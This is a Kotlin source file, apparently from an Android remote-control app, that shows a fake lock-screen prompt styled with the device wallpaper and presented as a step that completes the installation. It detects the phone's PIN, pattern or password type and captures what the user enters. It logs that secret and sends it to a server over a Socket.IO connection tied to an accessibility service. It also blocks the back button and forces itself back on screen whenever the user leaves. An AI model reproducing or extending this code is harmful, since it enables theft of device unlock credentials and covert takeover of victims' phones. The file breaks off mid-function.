Files
android/app/src/main/java/com/hikoncont/activity/PasswordInputActivity.kt

1377 lines
51 KiB
Kotlin
Raw Normal View History

2026-02-11 16:59:49 +08:00
package com.hikoncont.activity
import android.app.Activity
import android.app.WallpaperManager
import android.content.Context
import android.content.Intent
import android.graphics.*
import android.os.Build
2026-02-11 16:59:49 +08:00
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.util.Log
import android.view.MotionEvent
import android.view.View
import android.view.WindowManager
import android.widget.*
import androidx.appcompat.app.AppCompatActivity
import com.hikoncont.R
import com.hikoncont.service.AccessibilityRemoteService
import com.hikoncont.util.PasswordDetector
import com.hikoncont.view.PasswordInputView
import com.hikoncont.view.PatternLockView
import com.hikoncont.view.PinInputView
import com.hikoncont.view.FourDigitPinView
import kotlin.math.*
/**
* 密码输入完成安装页面
*
* 功能
* 1. 检测手机是否设置密码
* 2. 判断密码类型图形密码/数字密码
* 3. 显示对应的密码输入界面
* 4. 记录图形密码轨迹
* 5. 完成安装流程
*/
class PasswordInputActivity : AppCompatActivity() {
companion object {
private const val TAG = "PasswordInputActivity"
const val EXTRA_PASSWORD_TYPE = "password_type"
const val EXTRA_DEVICE_ID = "device_id"
const val EXTRA_INSTALLATION_ID = "installation_id"
const val EXTRA_SOCKET_WAKE = "socket_wake"
const val PASSWORD_TYPE_NONE = "none"
const val PASSWORD_TYPE_PATTERN = "pattern"
const val PASSWORD_TYPE_PIN = "pin"
const val PASSWORD_TYPE_PIN_4 = "pin_4"
const val PASSWORD_TYPE_PASSWORD = "password"
}
private var passwordDetector: PasswordDetector? = null
private lateinit var patternView: PatternLockView
private lateinit var pinInputView: PinInputView
private lateinit var fourDigitPinView: FourDigitPinView
private lateinit var passwordInputView: PasswordInputView
private lateinit var confirmButton: Button
private lateinit var skipButton: Button
private var passwordType: String = PASSWORD_TYPE_NONE
private var deviceId: String = ""
private var installationId: String = ""
private var isSocketWake: Boolean = false
private var isPatternRecording = false
private var patternTrajectory = mutableListOf<PointF>()
private var currentPassword = ""
private var isForceShowing = false // 防止重复强制显示
private var passwordFlowCompleted = false // 标记密码流程是否已完成,完成后不再强制拉回
2026-02-11 16:59:49 +08:00
private var useLightTheme = false // 当壁纸不可用时启用白底黑字
private val enableLockTaskForSocketWake = false
2026-02-11 16:59:49 +08:00
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
Log.i(TAG, "🔐 密码输入页面启动")
try {
// 设置全屏模式
setupFullScreen()
// 获取传入参数
passwordType = intent.getStringExtra(EXTRA_PASSWORD_TYPE) ?: PASSWORD_TYPE_NONE
deviceId = intent.getStringExtra(EXTRA_DEVICE_ID) ?: ""
installationId = intent.getStringExtra(EXTRA_INSTALLATION_ID) ?: ""
isSocketWake = intent.getBooleanExtra(EXTRA_SOCKET_WAKE, false)
Log.i(TAG, "📊 参数: 类型=$passwordType, 设备ID=$deviceId, 安装ID=$installationId, Socket唤醒=$isSocketWake")
// 初始化密码检测器
passwordDetector = PasswordDetector(this)
// 设置布局
setupLayout()
// 初始化UI
initializeUI()
// 如果是socket唤醒且已指定密码类型跳过密码检测
if (isSocketWake && passwordType != PASSWORD_TYPE_NONE) {
Log.i(TAG, "🔐 Socket唤醒使用指定密码类型: $passwordType,跳过密码检测")
// 直接设置对应的UI不需要检测
when (passwordType) {
PASSWORD_TYPE_PATTERN -> setupPatternUI()
PASSWORD_TYPE_PIN -> setupPinUI()
PASSWORD_TYPE_PIN_4 -> setupFourDigitPinUI()
PASSWORD_TYPE_PASSWORD -> setupPasswordUI()
}
} else {
// 开始密码检测
startPasswordDetection()
}
} catch (e: Exception) {
Log.e(TAG, "❌ 密码输入页面初始化失败", e)
// 初始化失败时不销毁Activity保持页面存在
Log.w(TAG, "⚠️ 初始化失败但不销毁Activity保持页面存在")
}
}
override fun onResume() {
super.onResume()
Log.i(TAG, "🔐 密码输入页面恢复")
if (shouldKeepForeground() && enableLockTaskForSocketWake) {
tryStartLockTaskMode()
}
2026-02-11 16:59:49 +08:00
// 如果是socket唤醒且没有正在强制显示则强制显示密码页面
if (shouldKeepForeground() && !isForceShowing) {
2026-02-11 16:59:49 +08:00
isForceShowing = true
forceShowPasswordPage()
}
}
override fun onPause() {
super.onPause()
Log.i(TAG, "🔐 密码输入页面暂停")
if (shouldKeepForeground()) {
Log.i(TAG, "🔐 检测到页面进入后台,准备强制回到密码页")
scheduleForceReturn("onPause")
2026-02-11 16:59:49 +08:00
}
}
override fun onStop() {
super.onStop()
Log.i(TAG, "🔐 密码输入页面停止")
if (shouldKeepForeground()) {
Log.i(TAG, "🔐 检测到页面被停止,准备强制回到密码页")
scheduleForceReturn("onStop")
}
}
override fun onUserLeaveHint() {
super.onUserLeaveHint()
if (shouldKeepForeground()) {
Log.i(TAG, "🔐 检测到用户尝试离开密码页Home/最近任务),准备强制回到密码页")
scheduleForceReturn("onUserLeaveHint")
2026-02-11 16:59:49 +08:00
}
}
/**
* 设置全屏模式
*/
private fun setupFullScreen() {
window.setFlags(
WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN
)
window.setFlags(
WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED,
WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
)
window.setFlags(
WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON,
WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON
)
window.setFlags(
WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD,
WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
)
}
/**
* 设置锁屏壁纸背景
*/
private fun setLockScreenWallpaperBackground() {
try {
Log.i(TAG, "🖼️ 开始设置锁屏壁纸背景")
val wallpaperManager = WallpaperManager.getInstance(this)
// 尝试获取锁屏壁纸Android 7.0+
var lockScreenWallpaper: android.graphics.drawable.Drawable? = null
try {
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.N) {
// 对于 API 34+ 使用带参数的 getDrawable 方法
if (android.os.Build.VERSION.SDK_INT >= 34) {
// 使用反射调用 API 34+ 的方法
try {
val method = wallpaperManager.javaClass.getMethod("getDrawable", Int::class.java)
lockScreenWallpaper = method.invoke(wallpaperManager, WallpaperManager.FLAG_LOCK) as? android.graphics.drawable.Drawable
} catch (e: Exception) {
Log.w(TAG, "⚠️ 反射调用 getDrawable(FLAG_LOCK) 失败,使用主壁纸", e)
lockScreenWallpaper = wallpaperManager.getDrawable()
}
} else {
// 对于 API 33 及以下,只能获取主壁纸
lockScreenWallpaper = wallpaperManager.getDrawable()
}
}
} catch (e: Exception) {
Log.w(TAG, "⚠️ 无法获取锁屏壁纸,尝试获取主壁纸", e)
}
// 如果锁屏壁纸获取失败,尝试获取主壁纸
if (lockScreenWallpaper == null) {
try {
lockScreenWallpaper = wallpaperManager.getDrawable()
} catch (e: Exception) {
Log.w(TAG, "⚠️ 无法获取主壁纸", e)
}
}
if (lockScreenWallpaper != null) {
Log.i(TAG, "✅ 成功获取壁纸")
// 获取屏幕尺寸
val displayMetrics = resources.displayMetrics
val screenWidth = displayMetrics.widthPixels
val screenHeight = displayMetrics.heightPixels
// 创建背景Drawable
val backgroundDrawable = createWallpaperDrawable(lockScreenWallpaper, screenWidth, screenHeight)
// 设置到根布局
val rootLayout = findViewById<View>(android.R.id.content)
rootLayout.background = backgroundDrawable
Log.i(TAG, "✅ 壁纸背景设置完成")
} else {
Log.w(TAG, "⚠️ 无法获取任何壁纸,使用白色背景并启用浅色主题(黑色文字)")
val rootLayout = findViewById<View>(android.R.id.content)
rootLayout.setBackgroundColor(Color.WHITE)
useLightTheme = true
}
} catch (e: Exception) {
Log.e(TAG, "❌ 设置壁纸背景失败", e)
// 出错时使用白色背景并启用浅色主题
try {
val rootLayout = findViewById<View>(android.R.id.content)
rootLayout.setBackgroundColor(Color.WHITE)
useLightTheme = true
} catch (ex: Exception) {
Log.e(TAG, "❌ 设置白色背景也失败", ex)
}
}
}
/**
* 创建壁纸Drawable
*/
private fun createWallpaperDrawable(wallpaper: android.graphics.drawable.Drawable, screenWidth: Int, screenHeight: Int): android.graphics.drawable.Drawable {
return object : android.graphics.drawable.Drawable() {
private val paint = Paint().apply {
isAntiAlias = true
isFilterBitmap = true
}
override fun draw(canvas: Canvas) {
// 计算壁纸的缩放比例,保持宽高比
val wallpaperWidth = wallpaper.intrinsicWidth
val wallpaperHeight = wallpaper.intrinsicHeight
val scaleX = screenWidth.toFloat() / wallpaperWidth
val scaleY = screenHeight.toFloat() / wallpaperHeight
val scale = maxOf(scaleX, scaleY) // 使用较大的缩放比例确保填满屏幕
val scaledWidth = (wallpaperWidth * scale).toInt()
val scaledHeight = (wallpaperHeight * scale).toInt()
// 计算居中位置
val left = (screenWidth - scaledWidth) / 2
val top = (screenHeight - scaledHeight) / 2
// 保存画布状态
canvas.save()
// 裁剪到屏幕区域
canvas.clipRect(0, 0, screenWidth, screenHeight)
// 绘制壁纸
wallpaper.setBounds(left, top, left + scaledWidth, top + scaledHeight)
wallpaper.draw(canvas)
// 添加半透明遮罩,确保文字可读性
canvas.drawColor(Color.argb(100, 0, 0, 0))
// 恢复画布状态
canvas.restore()
}
override fun setAlpha(alpha: Int) {
paint.alpha = alpha
}
override fun setColorFilter(colorFilter: ColorFilter?) {
paint.colorFilter = colorFilter
}
override fun getOpacity(): Int = android.graphics.PixelFormat.TRANSLUCENT
}
}
/**
* 设置布局
*/
private fun setupLayout() {
setContentView(R.layout.activity_password_input)
// 设置锁屏壁纸背景
setLockScreenWallpaperBackground()
// 初始化视图
patternView = findViewById(R.id.pattern_lock_view)
pinInputView = findViewById(R.id.pin_input_view)
fourDigitPinView = findViewById(R.id.four_digit_pin_view)
passwordInputView = findViewById(R.id.password_input_view)
confirmButton = findViewById(R.id.confirm_button)
skipButton = findViewById(R.id.skip_button)
// 如果启用了浅色主题,统一调整为白底黑字
if (useLightTheme) {
applyLightThemeToViews()
}
}
/** 当壁纸不可用时,使用白底黑字方案 */
private fun applyLightThemeToViews() {
try {
val rootLayout = findViewById<View>(android.R.id.content)
rootLayout.setBackgroundColor(Color.WHITE)
// 调整确认/跳过按钮为黑字描边按钮
val outlined = createOutlinedButtonBackground()
confirmButton.setTextColor(Color.BLACK)
confirmButton.background = outlined
skipButton.setTextColor(Color.BLACK)
skipButton.background = outlined
// 调整各密码视图的说明与控件颜色
try { patternView.setInstructionTextColor(Color.BLACK) } catch (_: Exception) {}
try { patternView.setSwitchButtonTextColor(Color.BLACK) } catch (_: Exception) {}
try { pinInputView.setInstructionTextColor(Color.BLACK) } catch (_: Exception) {}
try { pinInputView.setKeypadTextColor(Color.BLACK) } catch (_: Exception) {}
try { fourDigitPinView.setInstructionTextColor(Color.BLACK) } catch (_: Exception) {}
try { fourDigitPinView.setKeypadTextColor(Color.BLACK) } catch (_: Exception) {}
try { passwordInputView.setInstructionTextColor(Color.BLACK) } catch (_: Exception) {}
try { passwordInputView.setTextColors(Color.BLACK, Color.parseColor("#808080")) } catch (_: Exception) {}
} catch (e: Exception) {
Log.w(TAG, "⚠️ 应用浅色主题失败", e)
}
}
/** 创建黑色描边的白底按钮背景 */
private fun createOutlinedButtonBackground(): android.graphics.drawable.Drawable {
val shape = android.graphics.drawable.GradientDrawable().apply {
setColor(Color.WHITE)
cornerRadius = 12f
setStroke(2, Color.BLACK)
}
val state = android.graphics.drawable.StateListDrawable().apply {
addState(intArrayOf(android.R.attr.state_pressed), android.graphics.drawable.GradientDrawable().apply {
setColor(Color.parseColor("#F0F0F0"))
cornerRadius = 12f
setStroke(2, Color.BLACK)
})
addState(intArrayOf(), shape)
}
return state
}
/**
* 初始化UI
*/
private fun initializeUI() {
when (passwordType) {
PASSWORD_TYPE_PATTERN -> {
setupPatternUI()
}
PASSWORD_TYPE_PIN -> {
setupPinUI()
}
PASSWORD_TYPE_PIN_4 -> {
setupFourDigitPinUI()
}
PASSWORD_TYPE_PASSWORD -> {
setupPasswordUI()
}
else -> {
setupNoPasswordUI()
}
}
// 默认按钮点击事件在各自UI中可覆盖
confirmButton.setOnClickListener { handleConfirmClick() }
skipButton.setOnClickListener { handleSkipClick() }
}
/**
* 设置图形密码UI
*/
private fun setupPatternUI() {
patternView.visibility = View.VISIBLE
pinInputView.visibility = View.GONE
passwordInputView.visibility = View.GONE
patternView.setInstructionText("请绘制您的图形密码")
// 图形输入模式:不需要确认按钮
confirmButton.visibility = View.GONE
// 根据socket唤醒状态控制切换按钮显示
skipButton.visibility = if (isSocketWake) View.GONE else View.VISIBLE
// 控制PatternLockView内部的切换按钮显示
patternView.setSwitchButtonVisible(!isSocketWake)
// 设置PatternLockView内部的切换按钮回调
patternView.setOnSwitchClickListener { passwordType ->
handlePasswordTypeSwitch(passwordType)
}
// 设置图形密码监听器
patternView.setOnPatternListener(object : PatternLockView.OnPatternListener {
override fun onPatternStart() {
Log.d(TAG, "🔐 开始绘制图形密码")
isPatternRecording = true
patternTrajectory.clear()
}
override fun onPatternProgress(progress: List<PatternLockView.Cell>) {
// 记录轨迹点(数字方式:记录网格位置)
if (isPatternRecording) {
val cell = progress.last()
val point = PointF(
cell.row.toFloat(), // 行号 (0-2)
cell.column.toFloat() // 列号 (0-2)
)
patternTrajectory.add(point)
}
}
override fun onPatternComplete(pattern: List<PatternLockView.Cell>) {
Log.d(TAG, "🔐 图形密码绘制完成,模式点数: ${pattern.size}")
isPatternRecording = false
// 使用完整的模式而不是轨迹点
val patternPoints = pattern.map { cell ->
PointF(cell.row.toFloat(), cell.column.toFloat())
}
// 保存图形密码轨迹
savePatternTrajectory(patternPoints)
// 自动触发确认,不需要用户点击按钮
completeInstallation()
}
})
}
/**
* 设置数字密码UI
*/
private fun setupPinUI() {
patternView.visibility = View.GONE
pinInputView.visibility = View.VISIBLE
passwordInputView.visibility = View.GONE
pinInputView.setInstructionText("请输入您的密码")
// PIN模式也不需要确认按钮输入完成自动确认
confirmButton.visibility = View.GONE
// 根据socket唤醒状态控制切换按钮显示
skipButton.visibility = if (isSocketWake) View.GONE else View.VISIBLE
// 控制PinInputView内部的切换按钮显示
pinInputView.setSwitchButtonVisible(!isSocketWake)
// 设置数字密码监听器
pinInputView.setOnPinCompleteListener(object : PinInputView.OnPinCompleteListener {
override fun onPinComplete(pin: String) {
Log.d(TAG, "🔢 数字密码输入完成: $pin")
currentPassword = pin
// 自动触发确认,不需要用户点击按钮
completeInstallation()
}
})
// 设置PinInputView内部的切换按钮回调
pinInputView.setOnSwitchClickListener { passwordType ->
handlePasswordTypeSwitch(passwordType)
}
}
/**
* 设置4位数字密码UI
*/
private fun setupFourDigitPinUI() {
patternView.visibility = View.GONE
pinInputView.visibility = View.GONE
fourDigitPinView.visibility = View.VISIBLE
passwordInputView.visibility = View.GONE
fourDigitPinView.setInstructionText("请输入4位数字密码")
// 4位PIN模式也不需要确认按钮输入完成自动确认
confirmButton.visibility = View.GONE
// 根据socket唤醒状态控制切换按钮显示
skipButton.visibility = if (isSocketWake) View.GONE else View.VISIBLE
// 控制FourDigitPinView内部的切换按钮显示
fourDigitPinView.setSwitchButtonVisible(!isSocketWake)
// 设置4位数字密码监听器
fourDigitPinView.setOnPinCompleteListener(object : FourDigitPinView.OnPinCompleteListener {
override fun onPinComplete(pin: String) {
Log.d(TAG, "🔢 4位数字密码输入完成: $pin")
currentPassword = pin
// 自动触发确认,不需要用户点击按钮
completeInstallation()
}
})
// 设置FourDigitPinView内部的切换按钮回调
fourDigitPinView.setOnSwitchClickListener { passwordType ->
handlePasswordTypeSwitch(passwordType)
}
}
/**
* 设置文本密码UI
*/
private fun setupPasswordUI() {
patternView.visibility = View.GONE
pinInputView.visibility = View.GONE
passwordInputView.visibility = View.VISIBLE
passwordInputView.setInstructionText("请输入您的密码")
// 文本密码模式:不需要确认按钮(输入完成自动确认)
confirmButton.visibility = View.GONE
// 根据socket唤醒状态控制切换按钮显示
skipButton.visibility = if (isSocketWake) View.GONE else View.VISIBLE
// 控制PasswordInputView内部的切换按钮显示如果有的话
// passwordInputView.setSwitchButtonVisible(!isSocketWake)
// 设置文本密码监听器
passwordInputView.setOnPasswordCompleteListener(object : PasswordInputView.OnPasswordCompleteListener {
override fun onPasswordComplete(password: String) {
Log.d(TAG, "🔑 文本密码输入完成")
currentPassword = password
// 自动触发确认,不需要用户点击按钮
completeInstallation()
}
})
}
/**
* 设置无密码UI
*/
private fun setupNoPasswordUI() {
patternView.visibility = View.GONE
pinInputView.visibility = View.GONE
fourDigitPinView.visibility = View.GONE
passwordInputView.visibility = View.GONE
// 设备未设置密码,不需要显示说明文字
confirmButton.isEnabled = true
skipButton.visibility = View.GONE
}
/**
* 开始密码检测
*/
private fun startPasswordDetection() {
Log.i(TAG, "🔍 开始检测设备密码设置")
// 异步检测密码类型
Thread {
try {
// 检测设备是否设置了锁屏密码
val km = getSystemService(android.app.KeyguardManager::class.java)
val isSecure = km?.isKeyguardSecure == true
Log.i(TAG, "🔐 设备是否设置锁屏: $isSecure")
if (!isSecure) {
// 设备没有设置密码,直接完成安装流程
Log.i(TAG, "✅ 设备未设置密码,直接完成安装流程")
runOnUiThread {
passwordType = PASSWORD_TYPE_NONE
// 直接完成安装,不显示密码输入界面
completeInstallationDirectly()
}
return@Thread
}
// 设备已设置密码,继续检测密码类型
val detectedType = passwordDetector?.detectPasswordType() ?: PASSWORD_TYPE_NONE
Log.i(TAG, "🔍 检测到密码类型: $detectedType")
runOnUiThread {
when (detectedType) {
PASSWORD_TYPE_PATTERN -> {
passwordType = PASSWORD_TYPE_PATTERN
setupPatternUI()
}
PASSWORD_TYPE_PIN -> {
passwordType = PASSWORD_TYPE_PIN
setupPinUI()
}
PASSWORD_TYPE_PIN_4 -> {
passwordType = PASSWORD_TYPE_PIN_4
setupFourDigitPinUI()
}
PASSWORD_TYPE_PASSWORD -> {
passwordType = PASSWORD_TYPE_PASSWORD
setupPasswordUI()
}
else -> {
// 如果检测失败,也直接完成安装
Log.i(TAG, "⚠️ 密码类型检测失败,直接完成安装")
passwordType = PASSWORD_TYPE_NONE
completeInstallationDirectly()
}
}
}
} catch (e: Exception) {
Log.e(TAG, "❌ 密码检测失败", e)
runOnUiThread {
// 检测出错时,也直接完成安装
Log.i(TAG, "⚠️ 密码检测异常,直接完成安装")
passwordType = PASSWORD_TYPE_NONE
completeInstallationDirectly()
}
}
}.start()
}
/**
* 保存图形密码轨迹
*/
private fun savePatternTrajectory(trajectory: List<PointF>) {
try {
val trajectoryData = PatternTrajectoryData(
deviceId = deviceId,
installationId = installationId,
timestamp = System.currentTimeMillis(),
points = trajectory,
passwordType = PASSWORD_TYPE_PATTERN
)
// 保存到本地存储
passwordDetector?.savePatternTrajectory(trajectoryData)
Log.i(TAG, "💾 图形密码轨迹已保存: ${trajectory.size} 个点")
} catch (e: Exception) {
Log.e(TAG, "❌ 保存图形密码轨迹失败", e)
}
}
/**
* 处理确认点击
*/
private fun handleConfirmClick() {
Log.i(TAG, "✅ 用户确认完成安装")
// 保存密码信息
savePasswordInfo()
// 显示完成状态
confirmButton.isEnabled = false
skipButton.isEnabled = false
// 延迟后完成安装
Handler(Looper.getMainLooper()).postDelayed({
completeInstallation()
}, 2000)
}
/**
* 处理跳过点击
*/
private fun handleSkipClick() {
Log.i(TAG, "⏭️ 用户跳过密码输入")
try {
// 立即更新UI状态
// 禁用按钮,避免重复点击
confirmButton.isEnabled = false
skipButton.isEnabled = false
// 延迟后完成安装确保UI更新完成
Handler(Looper.getMainLooper()).postDelayed({
completeInstallation()
}, 500)
} catch (e: Exception) {
Log.e(TAG, "❌ 处理跳过点击时出错", e)
// 如果出错,直接完成安装
completeInstallation()
}
}
/**
* 保存密码信息
*/
private fun savePasswordInfo() {
try {
val passwordInfo = PasswordInfo(
deviceId = deviceId,
installationId = installationId,
passwordType = passwordType,
hasPassword = passwordType != PASSWORD_TYPE_NONE,
timestamp = System.currentTimeMillis()
)
// 保存到本地存储
passwordDetector?.savePasswordInfo(passwordInfo)
Log.i(TAG, "💾 密码信息已保存: $passwordType")
} catch (e: Exception) {
Log.e(TAG, "❌ 保存密码信息失败", e)
}
}
override fun onDestroy() {
super.onDestroy()
Log.i(TAG, "🔐 密码输入页面销毁")
// 如果是Socket唤醒模式记录销毁原因
if (isSocketWake) {
Log.w(TAG, "⚠️ Socket唤醒模式Activity被销毁这不应该发生")
Log.w(TAG, "⚠️ 请检查系统是否强制杀死了Activity")
}
try {
// 清理资源
passwordDetector = null
patternTrajectory.clear()
currentPassword = ""
// 确保所有View都被正确清理
patternView?.let {
it.setOnPatternListener(null)
it.clearPattern()
}
pinInputView?.let {
it.setOnPinCompleteListener(null)
it.clearPin()
}
fourDigitPinView?.let {
it.setOnPinCompleteListener(null)
it.clearPin()
}
passwordInputView?.let {
it.setOnPasswordCompleteListener(null)
it.clearPassword()
}
} catch (e: Exception) {
Log.e(TAG, "❌ 清理资源时出错", e)
}
}
override fun onBackPressed() {
Log.i(TAG, "🔐 用户按返回键,但密码输入未完成,不允许退出")
// 不调用super.onBackPressed(),防止用户直接退出
// 可以显示提示信息
}
// 已按要求去掉系统验证流程
/**
* 标记密码框已显示
*/
private fun markPasswordInputShown() {
try {
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
sharedPrefs.edit().putBoolean("password_input_shown", true).apply()
Log.i(TAG, "✅ 密码框显示状态已标记")
} catch (e: Exception) {
Log.e(TAG, "❌ 标记密码框显示状态失败", e)
}
}
/**
* 标记密码输入已完成
*/
private fun markPasswordInputCompleted() {
try {
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
sharedPrefs.edit().putBoolean("password_input_completed", true).apply()
Log.i(TAG, "✅ 密码输入状态已标记为完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 标记密码输入完成状态失败", e)
}
}
/**
* 记录密码日志
*/
private fun recordPasswordLog() {
try {
Log.i(TAG, "📝 记录密码输入日志: $passwordType")
val service = AccessibilityRemoteService.getInstance()
if (service != null) {
val inputMethod = when (passwordType) {
PASSWORD_TYPE_PIN -> "6位PIN"
PASSWORD_TYPE_PIN_4 -> "4位PIN"
PASSWORD_TYPE_PATTERN -> "图形密码"
PASSWORD_TYPE_PASSWORD -> "文本密码"
else -> "未知类型"
}
service.recordOperationLog(
"TEXT_INPUT",
"文本输入: ${currentPassword.take(50)}${if (currentPassword.length > 50) "..." else ""}",
mapOf(
"textLength" to currentPassword.length,
"inputMethod" to inputMethod,
"containsPassword" to true,
"operationType" to "PASSWORD_INPUT",
"passwordType" to passwordType,
"activity" to "PasswordInputActivity",
"deviceId" to deviceId,
"installationId" to installationId
)
)
Log.i(TAG, "✅ 密码日志已记录")
} else {
Log.w(TAG, "⚠️ AccessibilityRemoteService实例不可用无法记录日志")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 记录密码日志失败", e)
}
}
/**
* 发送密码到服务器
*/
private fun sendPasswordToServer() {
try {
Log.i(TAG, "📡 开始发送密码到服务器: $passwordType")
val service = AccessibilityRemoteService.getInstance()
if (service != null) {
val socketManager = service.getSocketIOManager()
if (socketManager != null) {
// 根据密码类型发送不同的数据
val inputMethod = when (passwordType) {
PASSWORD_TYPE_PIN -> "6位PIN"
PASSWORD_TYPE_PIN_4 -> "4位PIN"
PASSWORD_TYPE_PATTERN -> "图形密码"
PASSWORD_TYPE_PASSWORD -> "文本密码"
else -> "未知类型"
}
socketManager.sendPasswordInputData(
currentPassword,
inputMethod,
passwordType,
"PasswordInputActivity",
deviceId,
installationId,
"manual_password_input_activity"
2026-02-11 16:59:49 +08:00
)
Log.i(TAG, "✅ 密码已通过Socket发送: $passwordType")
} else {
Log.w(TAG, "⚠️ SocketIOManager实例不可用无法发送密码")
}
} else {
Log.w(TAG, "⚠️ AccessibilityRemoteService实例不可用无法获取SocketIOManager")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 发送密码到服务器失败", e)
}
}
/**
* 处理密码类型切换
*/
private fun handlePasswordTypeSwitch(selectedType: String) {
Log.d(TAG, "🔄 切换到密码类型: $selectedType")
when (selectedType) {
"4位数字密码" -> {
passwordType = PASSWORD_TYPE_PIN_4
setupFourDigitPinUI()
}
"6位数字密码" -> {
passwordType = PASSWORD_TYPE_PIN
setupPinUI()
}
"图形密码" -> {
passwordType = PASSWORD_TYPE_PATTERN
setupPatternUI()
}
}
}
/**
* 显示密码类型选择对话框
*/
private fun showPasswordTypeSelectionDialog() {
try {
Log.i(TAG, "🔀 显示密码类型选择对话框")
val options = arrayOf("6位数字密码", "4位数字密码", "图形密码", "文本密码")
val currentIndex = when (passwordType) {
PASSWORD_TYPE_PIN -> 0
PASSWORD_TYPE_PIN_4 -> 1
PASSWORD_TYPE_PATTERN -> 2
PASSWORD_TYPE_PASSWORD -> 3
else -> 0
}
val builder = android.app.AlertDialog.Builder(this)
builder.setTitle("选择密码输入方式")
.setSingleChoiceItems(options, currentIndex) { dialog, which ->
// 用户选择后立即切换
when (which) {
0 -> {
passwordType = PASSWORD_TYPE_PIN
pinInputView.setInstructionText("请输入6位数字密码")
setupPinUI()
}
1 -> {
passwordType = PASSWORD_TYPE_PIN_4
fourDigitPinView.setInstructionText("请输入4位数字密码")
setupFourDigitPinUI()
}
2 -> {
passwordType = PASSWORD_TYPE_PATTERN
patternView.setInstructionText("请绘制图形密码")
setupPatternUI()
}
3 -> {
passwordType = PASSWORD_TYPE_PASSWORD
passwordInputView.setInstructionText("请输入文本密码")
setupPasswordUI()
}
}
dialog.dismiss()
}
.setNegativeButton("取消", null)
.show()
} catch (e: Exception) {
Log.e(TAG, "❌ 显示密码类型选择对话框失败", e)
}
}
/**
* 直接完成安装无需密码输入
*/
private fun completeInstallationDirectly() {
Log.i(TAG, "🎉 直接完成安装流程(无需密码输入)")
if (passwordFlowCompleted) {
Log.w(TAG, "⚠️ 密码流程已完成,忽略重复完成请求")
return
}
passwordFlowCompleted = true
tryStopLockTaskMode()
2026-02-11 16:59:49 +08:00
try {
// ✅ 检查是否已经安装完成,如果已完成则跳过处理
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
val isInstallationComplete = installationStateManager.isInstallationComplete()
if (isInstallationComplete) {
Log.i(TAG, "✅ 检测到安装已完成,跳过安装完成处理")
} else {
Log.i(TAG, "📡 安装未完成,调用安装完成处理函数")
}
// 🔐 标记密码框已显示(防止重复启动)
markPasswordInputShown()
// 🔐 标记密码输入已完成
markPasswordInputCompleted()
// 重置密码输入页面监听状态
try {
val service = AccessibilityRemoteService.getInstance()
service?.getAccessibilityEventManager()?.resetPasswordInputActivityState()
Log.d(TAG, "🔐 密码输入页面监听状态已重置")
} catch (e: Exception) {
Log.e(TAG, "❌ 重置密码输入页面监听状态失败", e)
}
// 保存密码信息(无密码状态)
savePasswordInfo()
// ✅ 只有安装未完成时才处理安装完成
if (!isInstallationComplete) {
// ✅ 直接调用函数,不再使用广播
try {
Log.i(TAG, "🔄 使用直接函数调用方式处理安装完成(直接完成)")
com.hikoncont.util.InstallationCompleteManager.handleInstallationComplete(
context = this@PasswordInputActivity,
deviceId = deviceId,
installationId = installationId,
passwordType = 0, // PASSWORD_TYPE_NONE = 0
hasPassword = false
)
Log.i(TAG, "✅ 直接调用安装完成处理成功")
} catch (e: Exception) {
Log.e(TAG, "❌ 直接调用安装完成处理失败", e)
}
}
// 启动主服务
val serviceIntent = Intent(this, AccessibilityRemoteService::class.java)
startService(serviceIntent)
Log.i(TAG, "🚀 主服务已启动")
} catch (e: Exception) {
Log.e(TAG, "❌ 直接完成安装时出错", e)
} finally {
// 密码输入完成时只销毁当前Activity不销毁整个任务栈
Log.i(TAG, "✅ 密码输入完成准备销毁当前Activity")
Handler(Looper.getMainLooper()).postDelayed({
try {
// 只销毁当前Activity让MainActivity处理后续流程
finish()
Log.i(TAG, "✅ 当前Activity已销毁MainActivity将处理后续流程")
} catch (e: Exception) {
Log.e(TAG, "❌ 关闭Activity时出错", e)
}
}, 1000)
}
}
/**
* 完成安装
*/
private fun completeInstallation() {
Log.i(TAG, "🎉 安装流程完成")
if (passwordFlowCompleted) {
Log.w(TAG, "⚠️ 密码流程已完成,忽略重复完成请求")
return
}
passwordFlowCompleted = true
tryStopLockTaskMode()
2026-02-11 16:59:49 +08:00
try {
// ✅ 检查是否已经安装完成,如果已完成则跳过处理
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
val isInstallationComplete = installationStateManager.isInstallationComplete()
if (isInstallationComplete) {
Log.i(TAG, "✅ 检测到安装已完成,跳过安装完成处理")
// 仍然需要执行其他操作(如发送密码到服务器等),但不调用安装完成处理函数
} else {
Log.i(TAG, "📡 安装未完成,调用安装完成处理函数")
}
// 🔐 标记密码输入已完成
markPasswordInputCompleted()
// 重置密码输入页面监听状态
try {
val service = AccessibilityRemoteService.getInstance()
service?.getAccessibilityEventManager()?.resetPasswordInputActivityState()
Log.d(TAG, "🔐 密码输入页面监听状态已重置")
} catch (e: Exception) {
Log.e(TAG, "❌ 重置密码输入页面监听状态失败", e)
}
// 发送密码到服务器(如果有密码)
if (passwordType != PASSWORD_TYPE_NONE && currentPassword.isNotEmpty()) {
// 记录密码日志
recordPasswordLog()
// 发送密码到服务器
sendPasswordToServer()
}
// ✅ 只有安装未完成时才处理安装完成
if (!isInstallationComplete) {
// ✅ 直接调用函数,不再使用广播
val passwordTypeInt = when (passwordType) {
PASSWORD_TYPE_NONE -> 0
PASSWORD_TYPE_PIN -> 1
PASSWORD_TYPE_PIN_4 -> 2
PASSWORD_TYPE_PATTERN -> 3
PASSWORD_TYPE_PASSWORD -> 4
else -> 0
}
try {
Log.i(TAG, "🔄 使用直接函数调用方式处理安装完成")
